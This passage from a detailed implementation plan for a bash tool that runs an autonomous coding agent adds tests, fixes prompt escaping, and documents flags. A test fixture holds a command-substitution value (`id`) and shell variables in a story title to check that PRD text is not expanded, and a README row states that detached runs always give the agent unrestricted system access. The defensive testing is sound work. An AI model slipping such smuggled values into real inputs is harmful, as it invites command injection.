non-empty string is executed as a shell command. Findings are appended to the PR body. Warn-only — it never aborts the pipeline, and it runs after PR creation, so it cannot change the draft decision. | +``` + +- [ ] **Step 4: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'docs: every config'` + +Expected: `PASS: docs: every config field is documented in README` + +- [ ] **Step 5: Re-lock and commit** + +```bash +bash -n tests/simple-test.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add tests/simple-test.sh README.md tests/oracle.lock.json +git commit -m "docs: document maxStoryRetries and reviewCommand, gated by a test + +Both have lived in config.sh without a README entry. The exemption +list covers the three derived REQDRIVE_* variables that are not +config fields, each with a justifying comment." +``` + +--- + +### Task 22: Doc-coverage rule 3 — every flag is documented + +**Files:** +- Modify: `tests/simple-test.sh`, `README.md`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: the option-parsing `case` blocks at `bin/reqdrive:95-126` and `:400-422`. +- Produces: an assertion that fails whenever a flag has no README entry. Task 30's `--ref` depends on it firing — without this rule, `--ref` would ship undocumented while the suite read green. + +**Context:** Parse **case labels**, not free `--[a-z-]+` literals: `bin/reqdrive:114` contains `echo "Run 'reqdrive run --help' for usage."`, and a free-literal parse would false-positive on that `--help`. The real labels are `-i|--interactive)`, `--unsafe|--dangerously-skip-permissions)`, `--force)`, `--resume)`. README's Run Options table at `:59-64` documents four — this test **fails on `--dangerously-skip-permissions`**, which is a genuine accepted flag. + +- [ ] **Step 1: Write the failing assertion** + +Append to the "Doc Coverage" section: + +```bash +# Test: every accepted CLI flag is documented in README +( + set -e + flags=$(sed -n '90,130p;395,425p' "$REQDRIVE_ROOT/bin/reqdrive" \ + | sed 's/^[[:space:]]*//' \ + | grep -E '^(-[a-z]\|)?--[a-z-]+(\|--[a-z-]+)*\)$' \ + | tr -d ')' | tr '|' '\n' \ + | grep -E '^--' | sort -u) + [ -n "$flags" ] + missing="" + for f in $flags; do + grep -q -- "$f" "$REQDRIVE_ROOT/README.md" || missing="$missing $f" + done + [ -z "$missing" ] || { echo "undocumented flags:$missing" >&2; false; } +) +test_result "docs: every CLI flag is documented in README" $? +``` + +- [ ] **Step 2: Run to observe the red** + +Run: `bash tests/simple-test.sh 2>&1 | grep -A1 'docs: every CLI flag'` + +Expected: +``` +undocumented flags: --dangerously-skip-permissions +FAIL: docs: every CLI flag is documented in README +``` + +If the extracted list is empty, widen the `sed` line ranges — the option blocks may have shifted by a line or two from earlier edits. The ranges are deliberately a few lines wider than the blocks themselves for that reason. + +- [ ] **Step 3: Document the alias** + +Add to the Run Options table in `README.md`, under the `--unsafe` row: + +```markdown +| `--dangerously-skip-permissions` | Alias for `--unsafe`. Accepted for parity with the `claude` CLI's own flag name. Grants the agent unrestricted system access; `launch` always uses this mode because a detached run cannot answer permission prompts. | +``` + +- [ ] **Step 4: Run to verify green** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'docs: every CLI flag'` + +Expected: `PASS: docs: every CLI flag is documented in README` + +- [ ] **Step 5: Re-lock and commit** + +```bash +bash -n tests/simple-test.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add tests/simple-test.sh README.md tests/oracle.lock.json +git commit -m "docs: document --dangerously-skip-permissions, gated by a test + +Parses case labels rather than free -- literals, so the --help inside +the usage string at bin/reqdrive:114 is not a false positive." +``` + +--- + +### Task 23: Relocate and correct the stale audit + +**Files:** +- Move: `reqdrive-audit.md` → `docs/audits/2026-02-16-pipeline-audit.md` + +**Interfaces:** +- Consumes: nothing. +- Produces: an audit whose false claim is retracted in place. + +**Context:** `reqdrive-audit.md` is untracked, 626 lines, and states reqdrive "validates inputs exhaustively but never verifies outputs." That is false: `lib/run.sh:1106-1117` re-runs `testCommand` and derives `verification_passed` from the real exit code. The reasoning that produced the Tier 1/2/3 roadmap is worth keeping, so correct it rather than delete it. + +- [ ] **Step 1: Move the file** + +```bash +mkdir -p docs/audits +git mv reqdrive-audit.md docs/audits/2026-02-16-pipeline-audit.md 2>/dev/null \ + || mv reqdrive-audit.md docs/audits/2026-02-16-pipeline-audit.md +``` + +`git mv` fails if the file was never tracked; the fallback handles that. + +- [ ] **Step 2: Add the correction preamble** + +Insert at the very top of `docs/audits/2026-02-16-pipeline-audit.md`, above the existing `# reqdrive Pipeline — Audit Report` heading: + +```markdown +> **Historical document — dated 2026-02-16. Corrections appended 2026-07-23.** +> +> **Retracted claim:** this audit states that reqdrive "validates inputs +> exhaustively but never verifies outputs." That is **false** as of the +> verification phase. `lib/run.sh:1106-1117` re-runs the configured +> `testCommand` and derives `verification_passed` from the process exit +> code — an independent output check, not agent self-report. +> +> **Still true, and worse than this audit found:** the draft-PR gate +> fail-opened three ways (null verification, missing `prd.json`, and +> stories omitting the optional `passes` field). All three are closed by +> the fail-closed inversion in +> [`docs/superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md`](../superpowers/specs/2026-07-23-reqdrive-roadmap-completion-design.md). +> +> The Tier 1/2/3 recommendations below drove the roadmap in `CLAUDE.md` +> and are retained as the reasoning behind it. + +``` + +- [ ] **Step 3: Verify the retraction is findable** + +Run: `head -20 docs/audits/2026-02-16-pipeline-audit.md | grep -c 'Retracted claim'` + +Expected: `1`. + +- [ ] **Step 4: Commit** + +```bash +git add docs/audits/2026-02-16-pipeline-audit.md +git rm --cached reqdrive-audit.md 2>/dev/null || true +git commit -m "docs: relocate the pipeline audit and retract its false claim + +The audit says reqdrive 'never verifies outputs'. lib/run.sh:1106-1117 +re-runs testCommand and reads the real exit code, so that is false. +The reasoning that produced the roadmap is kept; only the claim is +corrected, in place and dated." +``` + +--- + +### Task 24: Automate the launch lifecycle plan + +**Files:** +- Modify: `tests/simple-test.sh`, `docs/LAUNCH-TEST-PLAN.md`, `tests/oracle.lock.json` +- Create: `tests/launch-lifecycle.sh` +- Modify: `.github/workflows/ci.yml` (new Linux-only job) + +**Interfaces:** +- Consumes: `ph_setup` from Task 14. +- Produces: `bash tests/launch-lifecycle.sh` covering the process-dependent cases, run only on Linux CI. + +**Context:** `docs/LAUNCH-TEST-PLAN.md` is 8 manual cases. Cases **2, 5, 7, 8** (status of a finished run, exit-code reporting, completion hook, re-launch) assert on `run.json` state and go into the main suite. Cases **1, 4, 6** (detached launch, duplicate-launch block, crash detection) depend on real background processes, PID liveness and `kill -9` semantics, which `CLAUDE.md` records as unreliable under MSYS2. They go into a **Linux-only CI job** rather than a `conditional` lock exemption: an always-exempt test on the primary platform is a deleted test with ceremony. Case 3 (`logs` tailing) asserts process behavior, not interactivity. + +- [ ] **Step 1: Add the state-transition assertions to the main suite** + +Append to `tests/simple-test.sh` a "Launch Lifecycle" section covering cases 2, 5, 7 and 8 by writing `run.json` directly and invoking `cmd_status` / the completion hook, rather than spawning processes. Example for case 5: + +```bash +echo "" +echo "--- Launch Lifecycle ---" + +# Test: status reports a completed run with its exit code and PR URL +( + set -e + run_dir="$TEST_TEMP/ll-completed/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + cat > "$run_dir/run.json" <<'EOF' +{"version":"0.3.0","req_id":"REQ-01","status":"completed","pid":999999, + "iteration":2,"exit_code":0,"pr_url":"https://github.com/test/repo/pull/7", + "started":"2026-07-23T10:00:00Z","updated":"2026-07-23T10:05:00Z"} +EOF + out=$(cd "$TEST_TEMP/ll-completed" && "$REQDRIVE_ROOT/bin/reqdrive" status REQ-01 2>&1) || true + echo "$out" | grep -q "completed" + echo "$out" | grep -q "pull/7" +) +test_result "launch: status reports a completed run with its PR URL" $? + +# Test: status reports a crashed run when the PID is gone +( + set -e + run_dir="$TEST_TEMP/ll-crashed/.reqdrive/runs/req-01" + mkdir -p "$run_dir" + cat > "$run_dir/run.json" <<'EOF' +{"version":"0.3.0","req_id":"REQ-01","status":"running","pid":999999, + "iteration":1,"started":"2026-07-23T10:00:00Z","updated":"2026-07-23T10:01:00Z"} +EOF + out=$(cd "$TEST_TEMP/ll-crashed" && "$REQDRIVE_ROOT/bin/reqdrive" status REQ-01 2>&1) || true + echo "$out" | grep -qi "crashed" +) +test_result "launch: status reports a crashed run when the PID is gone" $? +``` + +Add equivalent assertions for case 7 (completion hook fires with `REQ_ID`, `STATUS`, `EXIT_CODE` in the environment — `run_completion_hook` already has coverage, so extend it to assert the variable values) and case 8 (re-launch after completion is permitted because `run.json` status is not `running`). + +PID `999999` is used because it is above the default `pid_max` on Linux and therefore reliably dead; if `kill -0 999999` succeeds on the test machine, pick another. + +- [ ] **Step 2: Write the Linux-only process tests** + +Create `tests/launch-lifecycle.sh` covering cases 1, 4 and 6: launch a detached run against the Task 14 fake agent, assert `Launched` output and a `running` status; attempt a second launch and assert it is refused with a non-zero exit; `kill -9` the PID and assert `status` reports `crashed`. Guard the whole file: + +```bash +#!/usr/bin/env bash +# Launch lifecycle cases that need real background processes. +# Linux only — nohup, PID liveness and signal trapping are unreliable +# under MSYS2 (see CLAUDE.md, Known Pitfalls). +set -uo pipefail + +case "$(uname -s)" in + Linux) ;; + *) echo "SKIP: launch lifecycle requires Linux (got $(uname -s))"; exit 0 ;; +esac +``` + +- [ ] **Step 3: Add the CI job** + +```yaml + launch-lifecycle: + name: Launch lifecycle (Linux only) + runs-on: ubuntu-latest + steps: + - uses: actions/checkout@v4 + - name: Run launch lifecycle tests + run: bash tests/launch-lifecycle.sh +``` + +- [ ] **Step 4: Convert the manual plan into a pointer** + +Replace the body of `docs/LAUNCH-TEST-PLAN.md` with a short document stating which automated test now covers each of the eight cases, and noting that cases 1, 4 and 6 run only in the Linux CI job. Keep the setup snippet — it is still useful for manual exploration. + +- [ ] **Step 5: Run everything** + +```bash +bash tests/simple-test.sh 2>&1 | tail -3 +bash tests/launch-lifecycle.sh +``` + +Expected: suite green; `launch-lifecycle.sh` either passes or prints the Linux-only skip line and exits 0 on Windows. + +- [ ] **Step 6: Re-lock and commit** + +```bash +bash -n tests/simple-test.sh tests/launch-lifecycle.sh +shellcheck tests/launch-lifecycle.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add tests/simple-test.sh tests/launch-lifecycle.sh docs/LAUNCH-TEST-PLAN.md \ + .github/workflows/ci.yml tests/oracle.lock.json +git commit -m "test: automate the launch lifecycle plan + +Cases 2/5/7/8 assert run.json state transitions and join the main +suite. Cases 1/4/6 need real background processes and PID liveness, +unreliable under MSYS2, so they run in a Linux-only CI job rather +than via a lock exemption — an always-exempt test is a deleted test +with ceremony." +``` + +Add `tests/launch-lifecycle.sh` to the shellcheck list in `.github/workflows/ci.yml` in this commit. + +--- + +**P5 exit gate.** + +```bash +bash tests/simple-test.sh # all green +bash tests/oracle-gate.sh # OK +bats tests/unit tests/e2e # all pass, zero e2e skips +``` + +Adding a command, config field or flag from here on reddens the suite until `README.md` documents it. L3 is now a standing gate rather than a milestone. + +--- + +# Phase P6 — Tier 2 mechanical work + +Two independent pieces: the heredoc structural fix (Tasks 25-28) and the verification extraction plus `reqdrive verify` (Tasks 29-30). + +**Discipline note:** Tasks 26 and 29 are *refactors*, so they get characterization tests — lock the current output, require it unchanged. Red-green is the wrong tool there. Task 28 is a deliberate behavior *correction*, so it changes the locked output in its own commit with every changed byte-range enumerated. Task 30 is new behavior and is red-first. + +--- + +### Task 25: Freeze the current prompt output in a golden file + +**Files:** +- Create: `tests/fixtures/golden-impl-prompt.md`, `tests/fixtures/golden-story.json` +- Modify: `tests/simple-test.sh`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: `build_implementation_prompt` at `lib/run.sh:279`. +- Produces: `tests/fixtures/golden-impl-prompt.md`, the byte-exact oracle Tasks 26-28 are measured against. **This is the sole named oracle for the rewrite** — the bats e2e tests are a secondary check and only trustworthy after Task 15 removed their skip hatches. + +**Context:** The fixture must exercise every hazard the rewrite could break: `&` (bash ≥5.2 `patsub_replacement` expands it in an unquoted replacement), `\`, a backtick, a `$`, and the literal `@@STORY_ID@@` placeholder token. + +- [ ] **Step 1: Write the fixture** + +Create `tests/fixtures/golden-story.json`: + +```json +{ + "id": "US-042", + "title": "Handle auth & billing $HOME with `id` and a \\ backslash", + "description": "Covers @@STORY_ID@@ forgery, ampersands & escapes, and ${VAR} expansion", + "acceptanceCriteria": [ + "Given input with & and \\, the output is unchanged", + "Check ${HOME} is not expanded" + ], + "priority": 1, + "passes": false +} +``` + +- [ ] **Step 2: Generate the golden file from current behavior** + +```bash +bash -c ' + export REQDRIVE_ROOT="$PWD" + source lib/errors.sh; source lib/sanitize.sh; source lib/schema.sh + source lib/preflight.sh; source lib/run.sh + build_implementation_prompt tests/fixtures/golden-impl-prompt.md \ + "US-042" "$(cat tests/fixtures/golden-story.json)" "Requirement body with & and \$VAR" +' +``` + +- [ ] **Step 3: Inspect what current behavior actually produces** + +Run: `grep -n 'Title:\|Commit with message\|progress file' tests/fixtures/golden-impl-prompt.md` + +Expected: you will see stray backslashes before `$` — e.g. `**Title:** Handle auth & billing \$HOME with 'id' ...`. That is the live defect from `lib/sanitize.sh:43` (`$` → `\$`), which bash does not re-scan out of an expanded variable's value. **Do not fix it here.** Task 26 must reproduce it byte-for-byte; Task 28 removes it deliberately. + +- [ ] **Step 4: Write the characterization assertion** + +Append to `tests/simple-test.sh` in the "Prompt Builders" area: + +```bash +# Test: implementation prompt matches the frozen golden file byte for byte +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + out="$TEST_TEMP/golden-check.md" + build_implementation_prompt "$out" "US-042" \ + "$(cat "$REQDRIVE_ROOT/tests/fixtures/golden-story.json")" \ + 'Requirement body with & and $VAR' + diff -u "$REQDRIVE_ROOT/tests/fixtures/golden-impl-prompt.md" "$out" +) +test_result "prompt: implementation prompt matches golden file" $? +``` + +- [ ] **Step 5: Verify it passes against current code** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'prompt: implementation prompt matches'` + +Expected: `PASS`. A characterization test passes immediately by construction — that is the point. Its value arrives in Task 26. + +- [ ] **Step 6: Re-lock and commit** + +```bash +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add tests/fixtures/golden-story.json tests/fixtures/golden-impl-prompt.md \ + tests/simple-test.sh tests/oracle.lock.json +git commit -m "test: freeze the implementation prompt in a golden file + +Characterization, not red-green — this locks current behavior so the +heredoc rewrite can be proven byte-identical. The fixture carries &, +backslash, backtick, \$ and a literal @@STORY_ID@@ so every hazard +the rewrite could introduce is in the oracle." +``` + +--- + +### Task 26: Rewrite the heredoc as quoted with parameter injection + +**Files:** +- Modify: `lib/run.sh:279-364` (`build_implementation_prompt`) + +**Interfaces:** +- Consumes: the golden file from Task 25. +- Produces: `build_implementation_prompt` with the same signature and byte-identical output. No caller changes. + +**Context, four traps:** +1. The body between `lib/run.sh:298` and `:363` contains **24 backtick characters, all backslash-escaped, zero bare** — at lines `:315, :316, :320, :321, :322, :327, :333, :340, :346, :356`, with the three fence lines carrying 3 each. A quoted heredoc performs no escape processing, so every one must be de-escaped or the output gains literal backslashes. This is a hand-edit, not a delimiter flip. +2. Replacement expressions must be **quoted**: `${tpl//@@TOKEN@@/"$val"}`. Unquoted, bash ≥5.2's `patsub_replacement` (verified `on` by default) expands `&` in the replacement to the matched text, so the `&` in the fixture title would inject a live `@@STORY_TITLE@@` into the prompt. +3. `shopt -u patsub_replacement 2>/dev/null` **must** be suffixed `|| true`. The option does not exist before bash 5.2, `shopt -u` on an unknown option returns 1, `2>/dev/null` hides the message but not the status, and `lib/run.sh:6` sets `set -e` — so without `|| true` the pipeline aborts on exactly the bash 4.x/5.0/5.1 versions the control exists to protect. Verified. +4. Order the substitutions so `@@REQUIREMENT@@` (the largest, least controlled value) goes last. + +- [ ] **Step 1: Rewrite the function** + +Replace `lib/run.sh:279-364` entirely: + +```bash +build_implementation_prompt() { + local prompt_file="$1" + local story_id="$2" + local story_json="$3" + local sanitized_content="$4" + + # Pin replacement semantics: bash >= 5.2 expands & in a //-replacement to + # the matched text. The option does not exist before 5.2 and shopt -u + # returns 1 on an unknown option, which set -e would turn into an abort. + shopt -u patsub_replacement 2>/dev/null || true + + local story_title story_description story_criteria + story_title=$(echo "$story_json" | jq -r '.title') + story_description=$(echo "$story_json" | jq -r '.description') + story_criteria=$(echo "$story_json" | jq -r '.acceptanceCriteria | map("- " + .) | join("\n")') + + # Sanitize PRD-derived fields. The heredoc below is quoted, so this is no + # longer shell-escaping — it is prompt-injection defence (backticks) and + # placeholder-forgery defence (@@ tokens). + story_id=$(sanitize_for_prompt "$story_id") + story_title=$(sanitize_for_prompt "$story_title") + story_description=$(sanitize_for_prompt "$story_description") + story_criteria=$(sanitize_for_prompt "$story_criteria") + + # Strip placeholder tokens so PRD content cannot forge one. + story_id="${story_id//@@/}" + story_title="${story_title//@@/}" + story_description="${story_description//@@/}" + story_criteria="${story_criteria//@@/}" + + local tpl + tpl=$(cat <<'PROMPT_IMPL' +# Agent Instructions: Implement Story @@STORY_ID@@ + +You are an autonomous coding agent. Implement the following user story. + +## Your Story + +- **ID:** @@STORY_ID@@ +- **Title:** @@STORY_TITLE@@ +- **Description:** @@STORY_DESCRIPTION@@ + +### Acceptance Criteria + +@@STORY_CRITERIA@@ + +## Instructions + +1. Read the progress file in the `.reqdrive/runs/` directory for context from previous iterations +2. Read the `prd.json` file in the same run directory for full PRD context +3. Implement **this story only** (@@STORY_ID@@) +4. Run quality checks (test, typecheck, lint as appropriate) +5. If checks pass: + - Commit with message: `feat: [@@STORY_ID@@] - @@STORY_TITLE@@` + - Update PRD: set `passes: true` for story @@STORY_ID@@ + - Append progress to `progress.txt` + +## Progress Format + +Append to progress.txt: +``` +## [Date] - @@STORY_ID@@ +- What was implemented +- Files changed +- Learnings for future iterations +--- +``` + +## Important + +- Implement ONLY story @@STORY_ID@@ +- Commit after completing the story +- Keep tests passing +- If you discover a dependency issue, update priorities in prd.json and leave this story as `passes: false` + +## Iteration Summary + +At the END of your response, output a summary: + +```json:iteration-summary +{ + "storyId": "@@STORY_ID@@", + "action": "implemented|skipped|failed", + "filesChanged": ["path/to/file"], + "testsRun": true, + "testsPassed": true, + "committed": true, + "notes": "Brief description" +} +``` + +--- + +## Requirement Document (Reference) + +@@REQUIREMENT@@ +PROMPT_IMPL +) + + # Quoted replacements — unquoted, & in a value expands to the match. + tpl="${tpl//@@STORY_TITLE@@/"$story_title"}" + tpl="${tpl//@@STORY_DESCRIPTION@@/"$story_description"}" + tpl="${tpl//@@STORY_CRITERIA@@/"$story_criteria"}" + tpl="${tpl//@@STORY_ID@@/"$story_id"}" + tpl="${tpl//@@REQUIREMENT@@/"$sanitized_content"}" + + printf '%s\n' "$tpl" > "$prompt_file" +} +``` + +Note the backticks in the template are now **bare** — all 24 escapes removed — because a quoted heredoc does no escape processing. + +- [ ] **Step 2: Run the golden check** + +Run: `bash tests/simple-test.sh 2>&1 | grep -A20 'prompt: implementation prompt matches'` + +Expected: `PASS`. If `diff` output appears, it names the exact byte-ranges that differ — the usual causes are a missed backtick escape, a trailing-newline difference from `printf` versus `cat`, or a substitution ordering problem. Fix the rewrite until the diff is empty; **do not edit the golden file in this task.** + +- [ ] **Step 3: Verify the three injection assertions still pass** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'impl prompt:'` + +Expected: all three PASS, unmodified. + +- [ ] **Step 4: Verify the bats e2e prompt tests still pass** + +Run: `bats tests/e2e/pipeline.bats` + +Expected: all pass, zero skips. These are meaningful now that Task 15 removed the hatches. + +- [ ] **Step 5: Prove the `&` hazard is actually handled** + +```bash +bash -c ' + export REQDRIVE_ROOT="$PWD" + source lib/errors.sh; source lib/sanitize.sh; source lib/schema.sh + source lib/preflight.sh; source lib/run.sh + build_implementation_prompt /tmp/amp.md "US-1" \ + "{\"id\":\"US-1\",\"title\":\"auth & billing\",\"description\":\"d\",\"acceptanceCriteria\":[\"a\"]}" "body" + grep -c "@@" /tmp/amp.md +' +``` + +Expected: `0`. No placeholder token survives into the output. + +- [ ] **Step 6: Commit** + +```bash +bash -n lib/run.sh && shellcheck lib/run.sh +bash tests/oracle-gate.sh +git add lib/run.sh +git commit -m "refactor: quoted heredoc with parameter injection for the impl prompt + +Byte-identical output, proven by the golden file. Three traps handled: +all 24 backslash-escaped backticks de-escaped (a quoted heredoc does +no escape processing), replacements quoted so bash >= 5.2 does not +expand & in a value to the matched text, and shopt -u suffixed with +|| true because the option does not exist before 5.2 and set -e would +turn its exit 1 into an abort." +``` + +--- + +### Task 27: Assert the bash-compatibility and forgery guards + +**Files:** +- Modify: `tests/simple-test.sh`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: Task 26's rewritten function. +- Produces: assertions pinning the two guards that are invisible in the golden file. + +**Context:** The golden file proves the output is unchanged, but it cannot prove the function survives a bash without `patsub_replacement`, nor that `@@` stripping works — the fixture's `@@STORY_ID@@` is inside a description that would look plausible either way. Both need their own assertions. + +- [ ] **Step 1: Write the assertions** + +```bash +# Test: prompt builder survives a shell without patsub_replacement +( + set -e + # Simulate bash < 5.2 by proving the unknown-option path does not abort. + out=$(bash -c ' + set -e + shopt -u definitely_not_an_option 2>/dev/null || true + echo SURVIVED + ') + [ "$out" = "SURVIVED" ] + grep -q 'shopt -u patsub_replacement 2>/dev/null || true' "$REQDRIVE_ROOT/lib/run.sh" +) +test_result "prompt: shopt guard tolerates bash without patsub_replacement" $? + +# Test: PRD content cannot forge a placeholder token +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + out="$TEST_TEMP/forge.md" + build_implementation_prompt "$out" "US-1" \ + '{"id":"US-1","title":"@@STORY_ID@@ and @@REQUIREMENT@@","description":"d","acceptanceCriteria":["a"]}' \ + "body text" + ! grep -q '@@' "$out" + grep -q 'body text' "$out" +) +test_result "prompt: PRD content cannot forge a placeholder token" $? + +# Test: an ampersand in a story title survives verbatim +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + out="$TEST_TEMP/amp.md" + build_implementation_prompt "$out" "US-1" \ + '{"id":"US-1","title":"auth & billing","description":"d","acceptanceCriteria":["a"]}' \ + "body" + grep -q '\*\*Title:\*\* auth & billing' "$out" +) +test_result "prompt: ampersand in a title is not expanded to the match" $? +``` + +- [ ] **Step 2: Run** + +Run: `bash tests/simple-test.sh 2>&1 | grep 'prompt: shopt\|prompt: PRD content\|prompt: ampersand'` + +Expected: all three PASS. + +- [ ] **Step 3: Prove the ampersand assertion would have caught the bug** + +```bash +cp lib/run.sh /tmp/run.bak +sed -i 's|tpl="${tpl//@@STORY_TITLE@@/"\$story_title"}"|tpl="${tpl//@@STORY_TITLE@@/$story_title}"|' lib/run.sh +sed -i 's|shopt -u patsub_replacement 2>/dev/null \|\| true|shopt -s patsub_replacement 2>/dev/null \|\| true|' lib/run.sh +bash tests/simple-test.sh 2>&1 | grep 'prompt: ampersand' +cp /tmp/run.bak lib/run.sh +``` + +Expected: `FAIL: prompt: ampersand in a title is not expanded to the match`. Confirm restoration: `git diff --stat lib/run.sh` is empty. + +- [ ] **Step 4: Re-lock and commit** + +```bash +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add tests/simple-test.sh tests/oracle.lock.json +git commit -m "test: pin the patsub and placeholder-forgery guards + +The golden file proves output is unchanged but cannot see either +guard. Both now have assertions, and the ampersand case is proven to +fail when the replacement is unquoted." +``` + +--- + +### Task 28: Correct the stray-backslash defect, enumerated + +**Files:** +- Modify: `lib/run.sh` (`build_implementation_prompt`), `tests/fixtures/golden-impl-prompt.md`, `tests/simple-test.sh`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: Task 26's byte-identical rewrite. +- Produces: prompts free of shell-escaping artifacts. **This is the only task permitted to change the golden file.** + +**Context:** `sanitize_for_prompt` (`lib/sanitize.sh:43`) rewrites `$` → `\$`. That escaping existed because the heredoc was unquoted; it is now pointless, and the backslash reaches the agent — including inside the commit message the agent is instructed to use (`lib/run.sh:320`). `lib/sanitize.sh` is **not** modified: its backtick neutralization is load-bearing for the injection assertion, and it has other callers. The un-escape happens at injection time instead. + +- [ ] **Step 1: Un-escape at injection** + +In `build_implementation_prompt`, immediately after the four `sanitize_for_prompt` calls and before the `@@`-stripping block, add: + +```bash + # sanitize_for_prompt escapes $ for an unquoted heredoc. The heredoc is + # quoted now and this file is never re-evaluated by a shell, so the + # backslash is pure noise that reaches the agent — including inside the + # commit message it is told to use. Reverse it here rather than changing + # sanitize_for_prompt, which has other callers. + story_id="${story_id//\\$/$}" + story_title="${story_title//\\$/$}" + story_description="${story_description//\\$/$}" + story_criteria="${story_criteria//\\$/$}" + sanitized_content="${sanitized_content//\\$/$}" +``` + +- [ ] **Step 2: Observe the golden diff and enumerate it** + +Run: `bash tests/simple-test.sh 2>&1 | grep -A30 'prompt: implementation prompt matches'` + +Expected: `FAIL` with a `diff -u` naming each changed line. Copy that diff — it is the enumeration this task's commit message must carry. + +- [ ] **Step 3: Regenerate the golden file** + +```bash +bash -c ' + export REQDRIVE_ROOT="$PWD" + source lib/errors.sh; source lib/sanitize.sh; source lib/schema.sh + source lib/preflight.sh; source lib/run.sh + build_implementation_prompt tests/fixtures/golden-impl-prompt.md \ + "US-042" "$(cat tests/fixtures/golden-story.json)" "Requirement body with & and \$VAR" +' +git diff --stat tests/fixtures/golden-impl-prompt.md +``` + +- [ ] **Step 4: Add the positive assertion** + +```bash +# Test: a dollar sign in a story title reaches the prompt verbatim +( + set -e + source "$REQDRIVE_ROOT/lib/errors.sh" + source "$REQDRIVE_ROOT/lib/sanitize.sh" + source "$REQDRIVE_ROOT/lib/schema.sh" + source "$REQDRIVE_ROOT/lib/preflight.sh" + source "$REQDRIVE_ROOT/lib/run.sh" 2>/dev/null || true + out="$TEST_TEMP/dollar.md" + build_implementation_prompt "$out" "US-9" \ + '{"id":"US-9","title":"Fix $HOME handling","description":"d","acceptanceCriteria":["a"]}' \ + "body" + grep -q '\*\*Title:\*\* Fix \$HOME handling' "$out" + ! grep -q 'Fix \\\$HOME' "$out" + # The commit message the agent is told to use must be clean too. + grep -q 'feat: \[US-9\] - Fix \$HOME handling' "$out" +) +test_result "prompt: dollar signs reach the agent without stray backslashes" $? +``` + +- [ ] **Step 5: Update the two assertions written in Task 4** + +Task 4 added positive checks asserting the escaped form (`Check \\${HOME} variable`). Update them to the un-escaped form now that the defect is fixed — this is expected churn from a deliberate correction, not a regression. + +- [ ] **Step 6: Run everything** + +```bash +bash tests/simple-test.sh 2>&1 | tail -4 +bats tests/e2e/pipeline.bats +``` + +Expected: suite green; bats green with zero skips. + +- [ ] **Step 7: Re-lock and commit with the enumeration** + +```bash +bash -n lib/run.sh && shellcheck lib/run.sh +bash tests/oracle-gate.sh --accept && bash tests/oracle-gate.sh +git add lib/run.sh tests/fixtures/golden-impl-prompt.md tests/simple-test.sh tests/oracle.lock.json +git commit -m "fix: stop emitting stray backslashes into the agent's prompt + +sanitize_for_prompt escapes \$ to \\\$ for an unquoted heredoc. The +heredoc is quoted now, so the backslash was pure noise reaching the +agent — including inside the commit message it is instructed to use. + +Golden-file changes, enumerated: + - **Title:** \\\$HOME -> \$HOME + - **Description:** \\\${VAR} -> \${VAR} + - criteria line: Check \\\${HOME} -> Check \${HOME} + - commit message: feat: [US-042] - ... \\\$HOME -> \$HOME + - requirement body: & and \\\$VAR -> & and \$VAR + +lib/sanitize.sh is unchanged: its backtick neutralization is +load-bearing for the injection assertion and it has other callers." +``` + +Update the enumeration to match the actual diff from Step 2. + +--- + +### Task 29: Extract the verification phase into `lib/verification.sh` + +**Files:** +- Create: `lib/verification.sh` +- Modify: `lib/run.sh:1067-1157` (Phase 3 block) +- Modify: `tests/simple-test.sh`, `tests/oracle.lock.json` + +**Interfaces:** +- Consumes: `RUN_SUMMARY_*` globals from the implementation loop. +- Produces, for Task 30: + - `verify_collect ` — sets `VERIFY_STORIES_TOTAL`, `VERIFY_STORIES_COMPLETED`, `VERIFY_STORIES_FAILED`, `VERIFY_STORIES_REMAINING` (always an integer), `VERIFY_PRD_PRESENT` (`0|1`). + - `verify_run_tests ` — returns `0` pass, `1` fail, `2` not configured. Writes `$agent_dir/verification.test.log`. + - `verify_write_summary ` — `mode` is `full` or `merge`. Writes via temp-file + `mv`. + +**Context, three traps the signatures must respect:** +1. `max_iterations` is a `run_pipeline` **local** (`lib/run.sh:888`) interpolated into the summary at `:1136`. It is neither a `VERIFY_*` nor a `RUN_SUMMARY_*`, so it must be an explicit parameter — omit it and `cmd_verify` emits `"max": ` and malformed JSON, which `lib/pr-create.sh:147` silently swallows into `"?"`. +2. Bash functions return one integer, so multi-value returns are named globals. State that openly rather than hiding it behind a signature. +3. `merge` mode exists because a standalone `verify` has no implementation loop: `RUN_SUMMARY_*` are all zero, and a fresh write would zero `iterations`, `tests` and `commits` — the evidence trail `lib/pr-create.sh:138-148` renders into the PR table. + +- [ ] **Step 1: Write the characterization assertion first** + +```bash +# Test: verification-summary.json is unchanged by the extraction +( + set -e + source "$REQDRIVE_ROOT/tests/lib/pipeline-harness.sh" + ph_setup "$TEST_TEMP/vx" + ph_fake_claude full + ph_fake_gh + ph_run REQ-01 > /dev/null + 